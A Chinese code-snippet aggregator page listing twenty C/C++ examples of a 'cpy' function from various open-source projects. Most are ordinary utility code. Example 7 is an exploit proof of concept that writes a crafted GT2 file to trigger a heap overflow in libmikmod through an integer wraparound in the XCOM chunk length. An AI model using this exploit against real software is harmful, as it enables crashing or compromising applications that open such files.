• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

C++ cpy函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C++中cpy函数的典型用法代码示例。如果您正苦于以下问题:C++ cpy函数的具体用法?C++ cpy怎么用?C++ cpy使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了cpy函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: pl_copy

/*
 * Copies a polygon struct.
 * 
 * Also allows to create transformed copies of the struct Polygon by using a 
 * function that copies the points.
 * 
 * @param Polygon * 	pl		Pointer to the polygon to be copied.
 * @param void * 		   	cpy 	A pointer to a function to transform the coords.
 * @param int   			holes 	Whether or not to also copy the holes.
 * 
 * @return Polygon *  A pointer to the copied polygon.
 * 
 */
Polygon * 
pl_copy(const Polygon * pl, 
		void (*cpy)(vec dest, const vec src), 
		const int holes)
{
    assert(pl);
    
    Polygon * cp= (Polygon *)malloc(sizeof(Polygon));
    assert(cp);
    
    memcpy(cp, pl, sizeof(Polygon));
    
    cp->points= (PolyVert *)malloc(pl->size * sizeof(PolyVert));
    assert(cp->points);
    
    uint i;
    
    if (cpy){
        for (i= 0; i < pl->last; i++){
            cpy(cp->points[i].co, pl->points[i].co);
            cp->points[i].flags = pl->points[i].flags;
        }
        cpy(cp->bb.min, pl->bb.min);
        cpy(cp->bb.max, pl->bb.max);
    }
    else{
        memcpy(cp->points, pl->points, pl->last * sizeof(PolyVert));
        // min & max have already been copied by memcpy.
    }
    
    cp->holes = (holes) ? pll_copy(pl->holes, cpy) : NULL;
    
    return cp;
}
开发者ID:alxarch,项目名称:pygons,代码行数:47,代码来源:polygon.c


示例2: unifyToRank0

//分割された領域をまとめる.
static dcomplex* unifyToRank0(dcomplex *phi)
{
    SubFieldInfo_S subInfo_s = field_getSubFieldInfo_S();
    FieldInfo_S fInfo_s = field_getFieldInfo_S();
    //マスターにすべて集める
    if(subInfo_s.Rank == 0)
    {
        MPI_Status status;
        dcomplex *entire = newDComplex(fInfo_s.N_CELL);
        cpy(entire, phi, subInfo_s.OFFSET_X, subInfo_s.OFFSET_Y, subInfo_s.OFFSET_Z);

        dcomplex *tmp = newDComplex(subInfo_s.SUB_N_CELL);
        int offset[3];
        for(int i=1; i<subInfo_s.Nproc; i++)
        {
            MPI_Recv(offset, 3, MPI_INT, i, 0, MPI_COMM_WORLD, &status);
            MPI_Recv(tmp, subInfo_s.SUB_N_CELL, MPI_C_DOUBLE_COMPLEX, i, 0, MPI_COMM_WORLD, &status);

            cpy(entire, tmp, offset[0], offset[1], offset[2]);
        }
        free(tmp);
        return entire;
    }
    else {
        int offset[3];
        offset[0] = subInfo_s.OFFSET_X;
        offset[1] = subInfo_s.OFFSET_Y;
        offset[2] = subInfo_s.OFFSET_Z;
        MPI_Send(offset, 3, MPI_INT, 0, 0, MPI_COMM_WORLD);
        MPI_Send(phi, subInfo_s.SUB_N_CELL, MPI_C_DOUBLE_COMPLEX, 0, 0, MPI_COMM_WORLD);

        return NULL; //マスター以外はNULLを返す.
    }
}
开发者ID:rennone,项目名称:mpiFDTD-3D,代码行数:35,代码来源:mpiFDTD3D_upml.c


示例3: performMathsOp

/**
 * Called when running on the host, this performs some maths operation
 */
struct value_defn performMathsOp(unsigned short operation, struct value_defn value) {
	struct value_defn result;
	result.dtype=SCALAR;
	if (operation== RANDOM_MATHS_OP) {
		result.type=INT_TYPE;
		int r=rand();
		cpy(result.data, &r, sizeof(int));
	} else {
		float fvalue, r;
		if (value.type==REAL_TYPE) {
			fvalue=*((float*) value.data);
		} else if (value.type==INT_TYPE) {
			fvalue=(float) *((int*) value.data);
		}
		result.type=REAL_TYPE;
		if (operation==SQRT_MATHS_OP) r=sqrtf(fvalue);
		if (operation==SIN_MATHS_OP) r=sinf(fvalue);
		if (operation==COS_MATHS_OP) r=cosf(fvalue);
		if (operation==TAN_MATHS_OP) r=tanf(fvalue);
		if (operation==ASIN_MATHS_OP) r=asinf(fvalue);
		if (operation==ACOS_MATHS_OP) r=acosf(fvalue);
		if (operation==ATAN_MATHS_OP) r=atanf(fvalue);
		if (operation==SINH_MATHS_OP) r=sinhf(fvalue);
		if (operation==COSH_MATHS_OP) r=coshf(fvalue);
		if (operation==TANH_MATHS_OP) r=tanhf(fvalue);
		if (operation==FLOOR_MATHS_OP) r=floorf(fvalue);
		if (operation==CEIL_MATHS_OP) r=ceilf(fvalue);
		if (operation==LOG_MATHS_OP) r=logf(fvalue);
		if (operation==LOG10_MATHS_OP) r=log10f(fvalue);
		cpy(result.data, &r, sizeof(float));
	}
	return result;
}
开发者ID:caidongyun,项目名称:epython,代码行数:36,代码来源:host-functions.c


示例4: handleLet

static unsigned int handleLet(char * assembled, unsigned int currentPoint, unsigned int length, char restrictNoAlias, int threadId) {
#else
static unsigned int handleLet(char * assembled, unsigned int currentPoint, unsigned int length, char restrictNoAlias) {
#endif
    unsigned short varId=getUShort(&assembled[currentPoint]);
    currentPoint+=sizeof(unsigned short);
#ifdef HOST_INTERPRETER
    struct symbol_node* variableSymbol=getVariableSymbol(varId, fnLevel[threadId], threadId, 1);
    struct value_defn value=getExpressionValue(assembled, &currentPoint, length, threadId);
    if (restrictNoAlias && getVariableSymbol(varId, fnLevel[threadId], threadId, 0)->state==ALIAS) return currentPoint;
#else
    struct symbol_node* variableSymbol=getVariableSymbol(varId, fnLevel, 1);
    struct value_defn value=getExpressionValue(assembled, &currentPoint, length);
    if (restrictNoAlias && getVariableSymbol(varId, fnLevel, 0)->state==ALIAS) return currentPoint;
#endif
    variableSymbol->value.type=value.type;
    variableSymbol->value.dtype=value.dtype;
    if (value.dtype == ARRAY) {
        cpy(variableSymbol->value.data, value.data, sizeof(char*));
    } else if (value.type == STRING_TYPE) {
        cpy(&variableSymbol->value.data, &value.data, sizeof(char*));
    } else {
        int currentAddress=getInt(variableSymbol->value.data);
        if (currentAddress == 0) {
            char * address=getStackMemory(sizeof(int), 0);
            cpy(variableSymbol->value.data, &address, sizeof(char*));
            cpy(address, value.data, sizeof(int));
        } else {
            setVariableValue(variableSymbol, value, -1);
        }
    }
    return currentPoint;
}
开发者ID:mesham,项目名称:epython,代码行数:33,代码来源:interpreter.c


示例5: eliminate_nonconformities

int eliminate_nonconformities(MeshType const & input, MeshType & output)
{
  int counter = 0;

  viennagrid::element_copy_map<double> cpy(output, eps, false);

  typedef viennagrid::result_of::vertex_range<MeshType>::type     VertexRange;
  typedef viennagrid::result_of::iterator<VertexRange>::type        VertexIterator;

  typedef viennagrid::result_of::element_range<MeshType, 1>::type       EdgeRange;
  typedef viennagrid::result_of::iterator<EdgeRange>::type          EdgeIterator;

  EdgeRange edges(input);
  VertexRange vertices(input);

  for (EdgeIterator eit = edges.begin(); eit != edges.end(); ++eit)
  {
    bool found = false;

    for (VertexIterator vit = vertices.begin(); vit != vertices.end(); ++vit)
    {
      if ( (*vit == viennagrid::vertices(*eit)[0]) || (*vit == viennagrid::vertices(*eit)[1]) )
        continue;

      if (viennagrid::is_inside(*eit, viennagrid::get_point(*vit), eps))
      {
        ++counter;
        found = true;

        ElementType ev0 = cpy(viennagrid::vertices(*eit)[0]);
        ElementType ev1 = cpy(viennagrid::vertices(*eit)[1]);
        ElementType v = cpy(*vit);

        try
        {
          viennagrid::make_line(output, ev0, v);
        }
        catch (...) {}

        try
        {
          viennagrid::make_line(output, v, ev1);
        }
        catch (...) {}
      }
    }

    if (!found)
    {
      try
      {
        cpy(*eit);
      }
      catch (...) {}
    }
  }

  return counter;
}
开发者ID:FlorianRudolf,项目名称:SSAVM-Benchmark,代码行数:59,代码来源:svg_to_vtu.cpp


示例6: copyStringToSharedMemoryAndSetLocation

/**
 * Copies some string into shared memory and sets the location in the data core area
 */
static int copyStringToSharedMemoryAndSetLocation(char * string, int start) {
	int len=slength(string)+1;
	char* ptr=sharedData->core_ctrl[myId].shared_data_start + sharedDataEntries;
	cpy(ptr, string, len);
	cpy(&sharedData->core_ctrl[myId].data[start], &sharedDataEntries, sizeof(unsigned int));
	sharedDataEntries+=len;
	return len;
}
开发者ID:caidongyun,项目名称:epython,代码行数:11,代码来源:device-functions.c


示例7: main

int main(int argc, char *argv[]) {
    FILE    *fd;
    gt2_t   gt2;
    int     i;
    char    *fname;

    setbuf(stdout, NULL);

    fputs("\n"
          "libmikmod <= 3.2.2 and current CVS heap overflow with GT2 files "VER"\n"
          "by Luigi Auriemma\n"
          "e-mail: [email protected]i.org\n"
          "web:    aluigi.org\n"
          "\n", stdout);

    if(argc < 2) {
        printf("\n"
               "Usage: %s <output_file.GT2>\n"
               "\n", argv[0]);
        exit(1);
    }

    fname = argv[1];

    printf("- create file %s\n", fname);
    fd = fopen(fname, "wb");
    if(!fd) std_err();

    gt2.gt2[0]        = 'G';
    gt2.gt2[1]        = 'T';
    gt2.gt2[2]        = '2';
    gt2.version       = 4;
    gt2.chunk_size    = 0;                  // unused
    cpy(gt2.module,   "module_name");
    cpy(gt2.comments, "author");
    gt2.date_day      = 1;
    gt2.date_month    = 1;
    gt2.date_year     = 2006;
    cpy(gt2.tracker,  "tracker");
    gt2.speed         = 6;
    gt2.tempo         = 300;
    gt2.volume        = 0;
    gt2.voices        = 0;

    printf("- write GT2 header\n");
    fwrite(&gt2, sizeof(gt2), 1, fd);
    for(i = 0; i < gt2.voices; i++) fwi16(fd, 0);

    printf("- build the XCOM header for exploiting the heap overflow\n");
    fwmem(fd, "XCOM", 4);
    fwi32(fd, 0);                           // unused
    fwi32(fd, 0xffffffff);                  // bug here, 0xffffffff + 1 = 0
    fwstr(fd, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");

    fclose(fd);
    printf("- finished\n");
    return(0);
}
开发者ID:MeteorAdminz,项目名称:exploit-database,代码行数:58,代码来源:2073.c


示例8: sendDataToHostProcess

static void sendDataToHostProcess(struct value_defn to_send, int hostProcessTarget) {
	cpy(sharedData->core_ctrl[myId].data, &hostProcessTarget, 4);
	sharedData->core_ctrl[myId].data[5]=to_send.type;
	cpy(&sharedData->core_ctrl[myId].data[6], to_send.data, 4);
	unsigned int pb=sharedData->core_ctrl[myId].core_busy;
	sharedData->core_ctrl[myId].core_command=5;
	sharedData->core_ctrl[myId].core_busy=0;
	while (sharedData->core_ctrl[myId].core_busy==0 || sharedData->core_ctrl[myId].core_busy<=pb) { }
}
开发者ID:caidongyun,项目名称:epython,代码行数:9,代码来源:device-functions.c


示例9: test_heapsort

void
test_heapsort (size_t N)
{
  int status;

  double *orig = (double *) malloc (N * sizeof (double));
  double *data = (double *) malloc (N * sizeof (double));
  size_t  *p = (size_t *) malloc (N * sizeof(size_t));

  initialize (orig, N);

  /* Already sorted */
  cpy (data, orig, N);

  status = gsl_heapsort_index (p, data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
  status |= pcheck (p, data, orig, N);
  gsl_test (status, "indexing array, n = %u, ordered", N);

  gsl_heapsort (data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
  status = check (data, orig, N);

  gsl_test (status, "sorting, array, n = %u, ordered", N);

  /* Reverse the data */

  cpy (data, orig, N);
  reverse (data, N);

  status = gsl_heapsort_index (p, data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
  status |= pcheck (p, data, orig, N);
  gsl_test (status, "indexing array, n = %u, reversed", N);

  gsl_heapsort (data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
  status = check (data, orig, N);

  gsl_test (status, "sorting, array, n = %u, reversed", N);

  /* Perform some shuffling */

  cpy (data, orig, N);
  randomize (data, N);

  status = gsl_heapsort_index (p, data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
  status |= pcheck (p, data, orig, N);
  gsl_test (status, "indexing array, n = %u, randomized", N);

  gsl_heapsort (data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
  status = check (data, orig, N);

  gsl_test (status, "sorting, array, n = %u, randomized", N);

  free (orig);
  free (data);
  free (p);
}
开发者ID:tommyliu,项目名称:visionPJ1,代码行数:55,代码来源:test_heapsort.c


示例10: main

int main(int argc, char ** argv)
{
  cpy("abcdefghijklmnopqrstuvwxyz", buffer, 27);
  if (strcmp(buffer, "abcdefghijklmnopqrstuvwxyz") != 0) exit(1);
  cpy(buffer, buffer+3, 26-3);
  if (strcmp(buffer, "abcabcdefghijklmnopqrstuvw") != 0) exit(1);
  cpy("abcdefghijklmnopqrstuvwxyz", buffer, 27);
  cpy(buffer+3, buffer, 26-3);
  if (strcmp(buffer, "defghijklmnopqrstuvwxyzxyz") != 0) exit(1);
  exit(0);
}
开发者ID:BrianMulhall,项目名称:ocaml,代码行数:11,代码来源:bytecopy.c


示例11: recvDataFromHostProcess

static struct value_defn recvDataFromHostProcess(int hostSource) {
	struct value_defn to_recv;
	cpy(sharedData->core_ctrl[myId].data, &hostSource, 4);
	unsigned int pb=sharedData->core_ctrl[myId].core_busy;
	sharedData->core_ctrl[myId].core_command=6;
	sharedData->core_ctrl[myId].core_busy=0;
	while (sharedData->core_ctrl[myId].core_busy==0 || sharedData->core_ctrl[myId].core_busy<=pb) { }
	to_recv.type=sharedData->core_ctrl[myId].data[5];
	cpy(to_recv.data, &sharedData->core_ctrl[myId].data[6], 4);
	to_recv.dtype=SCALAR;
	return to_recv;
}
开发者ID:caidongyun,项目名称:epython,代码行数:12,代码来源:device-functions.c


示例12: sendDataToHostProcess

static void sendDataToHostProcess(struct value_defn to_send, int target, int threadId) {
	volatile unsigned char communication_data[6];
	communication_data[0]=to_send.type;
	cpy(&communication_data[1], to_send.data, 4);
	syncValues[threadId][target]=syncValues[threadId][target]==255 ? 0 : syncValues[threadId][target]+1;
	communication_data[5]=syncValues[threadId][target];
	char * remoteMemory=(char*) sharedComm[target] + (threadId*6);
	cpy(remoteMemory, communication_data, 6);
	syncValues[threadId][target]=syncValues[threadId][target]==255 ? 0 : syncValues[threadId][target]+1;
	while (communication_data[5] != syncValues[threadId][target]) {
		cpy(communication_data, remoteMemory, 6);
	}
}
开发者ID:caidongyun,项目名称:epython,代码行数:13,代码来源:host-functions.c


示例13: sendRecvDataWithHostProcess

static struct value_defn sendRecvDataWithHostProcess(struct value_defn to_send, int hostProcessTarget) {
	struct value_defn receivedData;
	cpy(sharedData->core_ctrl[myId].data, &hostProcessTarget, 4);
	sharedData->core_ctrl[myId].data[5]=to_send.type;
	cpy(&sharedData->core_ctrl[myId].data[6], to_send.data, 4);
	unsigned int pb=sharedData->core_ctrl[myId].core_busy;
	sharedData->core_ctrl[myId].core_command=7;
	sharedData->core_ctrl[myId].core_busy=0;
	while (sharedData->core_ctrl[myId].core_busy==0 || sharedData->core_ctrl[myId].core_busy<=pb) { }
	receivedData.type=sharedData->core_ctrl[myId].data[11];
	cpy(receivedData.data, &sharedData->core_ctrl[myId].data[12], 4);
	receivedData.dtype=SCALAR;
	return receivedData;
}
开发者ID:caidongyun,项目名称:epython,代码行数:14,代码来源:device-functions.c


示例14: shortemcluster

int shortemcluster(int n, int p, int k, double *pi, double **X,
    double **Mu, double **LTSigma, int maxiter, double eps, double *llhdval,
    int *conv_iter, double *conv_eps){
  int iter, i, n_par =  p * (p + 1) / 2;
  double *backup_pi, **backup_Mu, **backup_LTSigma;
  double **gamm, llhd, oldllhd, llh0;

  MAKE_VECTOR(backup_pi, k);
  MAKE_MATRIX(backup_Mu, k, p);
  MAKE_MATRIX(backup_LTSigma, k, n_par);
  MAKE_MATRIX(gamm, n, k);

  estep_gamma(n, p, k, X, gamm, Mu, LTSigma);
  llhd = lnlikelihood_gamma(n, k, gamm, pi);
  llh0 = llhd;
  iter = 0;
  do{
    oldllhd = llhd;
    norm_gamma(n, k, gamm, pi);

    for(i = 0; i < k; i++) backup_pi[i] = pi[i];
    cpy(Mu, k, p, backup_Mu);
    cpy(LTSigma, k, n_par, backup_LTSigma);

    mstep(X, n, p, k, pi, Mu, LTSigma, gamm);
    estep_gamma(n, p, k, X, gamm, Mu, LTSigma);
    llhd = lnlikelihood_gamma(n, k, gamm, pi);

    if(oldllhd > llhd){
      for(i = 0; i < k; i++) pi[i] = backup_pi[i];
      cpy(backup_Mu, k, p, Mu);
      cpy(backup_LTSigma, k, n_par, LTSigma);
      llhd = oldllhd;
      iter--;
      break;
    }

    iter++;
    *conv_eps = fabs((oldllhd - llhd) / (llh0 - llhd));
  } while((*conv_eps > eps) && (iter < maxiter));
  *llhdval = llhd;
  *conv_iter = iter;

  FREE_VECTOR(backup_pi);
  FREE_MATRIX(backup_Mu);
  FREE_MATRIX(backup_LTSigma);
  FREE_MATRIX(gamm);
  return iter;
}
开发者ID:cran,项目名称:EMCluster,代码行数:49,代码来源:M_init_other.c


示例15: cmp

cmp(char s[80],char t[80])
{
    char string[80];
    int i=0;
    for(i=0; i<80&&t[i]; i++)
        if(s[i]>t[i])
        {
            cpy(string,s);
            cpy(s,t);
            cpy(t,string);
            break;
        }
        else if (s[i]<t[i]) break;
    printf("%s   %s\n",s,t);
}
开发者ID:zning1994,项目名称:practice,代码行数:15,代码来源:ex2.2.c


示例16: main

main () {
    FILE *fin  = fopen ("transform.in", "r");
    FILE *fout = fopen ("transform.out", "w");
    int a, b;
    int i,j,k;
	char ln[10];
	
	fscanf (fin, "%d", &nt);
	for(i=0;i<nt;i++){
		fscanf(fin, "%s", ln);
		for(j=0;j<nt;j++)pbf[i][j]=ln[j];
	}
	for(i=0;i<nt;i++){
		fscanf(fin, "%s", ln);
		for(j=0;j<nt;j++)pt[i][j]=paf[i][j]=ln[j];
	}
	
	for(k=1;k<4;k++){
		cpy();
		rot90(k);
		if(ide()){
			fprintf (fout, "%d\n", k);exit(0);
		}
	}
	
	cpy();
	ref();
	if(ide()){
		fprintf (fout, "%d\n", 4);exit(0);
	}
	
	for(k=1;k<4;k++){
		cpy();
		ref();
		rot90(k);
		if(ide()){
			fprintf (fout, "%d\n", 5);exit(0);
		}
	}

	cpy();
	if(ide()){
		fprintf (fout, "%d\n", 6);exit(0);
	}
	
    fprintf (fout, "%d\n", 7);
    exit (0);
}
开发者ID:hitme,项目名称:USACO,代码行数:48,代码来源:task07-transform.c


示例17: cpy

gcBuff::gcBuff(const char* src, uint32 size)
{
	m_cBuff = new char[size];
	m_uiSize = size;

	cpy(src, size);
}
开发者ID:EasyCoding,项目名称:desura-app,代码行数:7,代码来源:gcBuff.cpp


示例18: cpy

 Image& Image::operator=(const Image& param)
 {
     if(this == &param)
         return *(this);
     else
         return cpy(param);
 }
开发者ID:hkeeble,项目名称:MageEngine,代码行数:7,代码来源:image.cpp


示例19: recvDataFromHostProcess

static struct value_defn recvDataFromHostProcess(int source, int threadId) {
	struct value_defn to_recv;
	volatile unsigned char communication_data[6];
	cpy(communication_data, sharedComm[threadId] + (source*6), 6);
	syncValues[threadId][source]=syncValues[threadId][source]==255 ? 0 : syncValues[threadId][source]+1;
	while (communication_data[5] != syncValues[threadId][source]) {
		cpy(communication_data, sharedComm[threadId] + (source*6), 6);
	}
	syncValues[threadId][source]=syncValues[threadId][source]==255 ? 0 : syncValues[threadId][source]+1;
	communication_data[5]=syncValues[threadId][source];
	cpy(sharedComm[threadId] + (source*6), communication_data, 6);
	to_recv.type=communication_data[0];
	cpy(to_recv.data, &communication_data[1], 4);
	to_recv.dtype=SCALAR;
	return to_recv;
}
开发者ID:caidongyun,项目名称:epython,代码行数:16,代码来源:host-functions.c


示例20: cpy

void Text::clearLastChar() {
	if (length() == 0)
		return;

	string[length() - 1] = '\0';
	cpy(string);
}
开发者ID:Argeath,项目名称:Tetris,代码行数:7,代码来源:text.cpp



注:本文中的cpy函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ cpystr函数代码示例发布时间:2022-05-30
下一篇:
C++ cpvrotate函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap